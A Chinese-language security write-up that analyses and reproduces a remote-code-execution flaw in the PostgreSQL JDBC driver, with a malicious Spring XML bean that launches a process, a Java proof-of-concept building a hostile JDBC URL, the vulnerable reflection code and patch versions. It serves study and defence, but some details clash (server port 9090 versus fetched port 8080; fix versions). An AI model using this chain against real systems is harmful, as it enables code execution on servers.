PostgreSQL JDBC Driver RCE 学习
字数 1392 2025-09-01 11:26:17

PostgreSQL JDBC Driver RCE漏洞分析与复现

漏洞概述

PostgreSQL JDBC驱动存在远程代码执行漏洞,攻击者可以通过构造恶意的JDBC连接字符串,利用Spring框架的ClassPathXmlApplicationContext类加载远程XML配置文件,从而执行任意代码。

影响版本

  • PostgreSQL JDBC驱动版本 < 42.2.25
  • PostgreSQL JDBC驱动版本 >= 42.3.0 且 < 42.3.2

漏洞复现

环境准备

  1. 依赖配置 (pom.xml):
<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.1</version> <!-- 漏洞版本 -->
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.3.20</version>
</dependency>
  1. 恶意XML文件 (test.xml):
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd.exe</value>
                <value>/c</value>
                <value>calc.exe</value>
            </list>
        </constructor-arg>
    </bean>
</beans>
  1. 启动HTTP服务:
python -m http.server 9090

漏洞利用代码

public class PostgreJdbcRce {
    public static void main(String[] args) throws SQLException {
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8080/test.xml";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=" + socketFactoryClass + 
                         "&socketFactoryArg=" + socketFactoryArg;
        
        Connection connection = DriverManager.getConnection(jdbcUrl, "postgres", "root");
    }
}

利用过程说明

  1. 构造JDBC连接字符串,其中包含:

    • socketFactory参数设置为org.springframework.context.support.ClassPathXmlApplicationContext
    • socketFactoryArg参数设置为恶意XML文件的URL
  2. 当应用程序尝试建立数据库连接时,PostgreSQL JDBC驱动会解析这些参数

  3. 驱动通过反射机制实例化ClassPathXmlApplicationContext类,加载并解析远程XML文件

  4. XML文件中定义的ProcessBuilder bean被初始化,执行指定的命令(如弹出计算器)

漏洞分析

关键漏洞点

漏洞的核心在于ObjectFactory.instantiate()方法中的反射调用:

public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg) 
    throws ClassNotFoundException, SecurityException, NoSuchMethodException, 
           IllegalArgumentException, InstantiationException, IllegalAccessException, 
           InvocationTargetException {
    
    Object[] args = new Object[]{info};
    Constructor<?> ctor = null;
    Class<?> cls = Class.forName(classname);
    
    try {
        ctor = cls.getConstructor(Properties.class);
    } catch (NoSuchMethodException var9) {
    }
    
    if (tryString && ctor == null) {
        try {
            ctor = cls.getConstructor(String.class);
            args = new String[]{stringarg};
        } catch (NoSuchMethodException var8) {
        }
    }
    
    if (ctor == null) {
        ctor = cls.getConstructor();
        args = new Object[0];
    }
    
    return ctor.newInstance(args);
}

调用链分析

  1. URL解析:

    • Driver.connect()方法调用parseURL()解析JDBC连接字符串
    • 提取出socketFactorysocketFactoryArg等参数
  2. 参数传递:

    • 解析后的参数存储在Properties对象中
    • 通过connectionFactory.openConnectionImpl()传递
  3. 反射调用:

    • SocketFactoryFactory.getSocketFactory()调用ObjectFactory.instantiate()
    • 使用反射实例化socketFactory参数指定的类(如ClassPathXmlApplicationContext)
    • socketFactoryArg作为参数传递给构造函数
  4. 恶意XML加载:

    • ClassPathXmlApplicationContext加载并解析远程XML
    • XML中定义的恶意bean被初始化执行命令

修复方案

在PostgreSQL JDBC驱动42.5.0及更高版本中,已移除SocketFactoryFactory的使用方式,从根本上修复了此漏洞。建议用户升级到安全版本:

  • 升级到PostgreSQL JDBC驱动 >= 42.2.25
  • 或 >= 42.3.2

总结

该漏洞的关键点在于:

  1. JDBC连接字符串参数可控
  2. 通过socketFactorysocketFactoryArg参数可以指定任意类和构造参数
  3. 驱动内部使用反射机制实例化指定类
  4. 结合Spring框架的XML配置加载功能实现RCE

这种攻击方式在类似契约锁等使用PostgreSQL JDBC驱动的应用中可能被利用,需要特别注意参数过滤和组件版本更新。

PostgreSQL JDBC Driver RCE漏洞分析与复现 漏洞概述 PostgreSQL JDBC驱动存在远程代码执行漏洞,攻击者可以通过构造恶意的JDBC连接字符串,利用Spring框架的ClassPathXmlApplicationContext类加载远程XML配置文件,从而执行任意代码。 影响版本 PostgreSQL JDBC驱动版本 < 42.2.25 PostgreSQL JDBC驱动版本 >= 42.3.0 且 < 42.3.2 漏洞复现 环境准备 依赖配置 (pom.xml): 恶意XML文件 (test.xml): 启动HTTP服务 : 漏洞利用代码 利用过程说明 构造JDBC连接字符串,其中包含: socketFactory 参数设置为 org.springframework.context.support.ClassPathXmlApplicationContext socketFactoryArg 参数设置为恶意XML文件的URL 当应用程序尝试建立数据库连接时,PostgreSQL JDBC驱动会解析这些参数 驱动通过反射机制实例化 ClassPathXmlApplicationContext 类,加载并解析远程XML文件 XML文件中定义的 ProcessBuilder bean被初始化,执行指定的命令(如弹出计算器) 漏洞分析 关键漏洞点 漏洞的核心在于 ObjectFactory.instantiate() 方法中的反射调用: 调用链分析 URL解析 : Driver.connect() 方法调用 parseURL() 解析JDBC连接字符串 提取出 socketFactory 和 socketFactoryArg 等参数 参数传递 : 解析后的参数存储在 Properties 对象中 通过 connectionFactory.openConnectionImpl() 传递 反射调用 : SocketFactoryFactory.getSocketFactory() 调用 ObjectFactory.instantiate() 使用反射实例化 socketFactory 参数指定的类(如 ClassPathXmlApplicationContext ) 将 socketFactoryArg 作为参数传递给构造函数 恶意XML加载 : ClassPathXmlApplicationContext 加载并解析远程XML XML中定义的恶意bean被初始化执行命令 修复方案 在PostgreSQL JDBC驱动42.5.0及更高版本中,已移除 SocketFactoryFactory 的使用方式,从根本上修复了此漏洞。建议用户升级到安全版本: 升级到PostgreSQL JDBC驱动 >= 42.2.25 或 >= 42.3.2 总结 该漏洞的关键点在于: JDBC连接字符串参数可控 通过 socketFactory 和 socketFactoryArg 参数可以指定任意类和构造参数 驱动内部使用反射机制实例化指定类 结合Spring框架的XML配置加载功能实现RCE 这种攻击方式在类似契约锁等使用PostgreSQL JDBC驱动的应用中可能被利用,需要特别注意参数过滤和组件版本更新。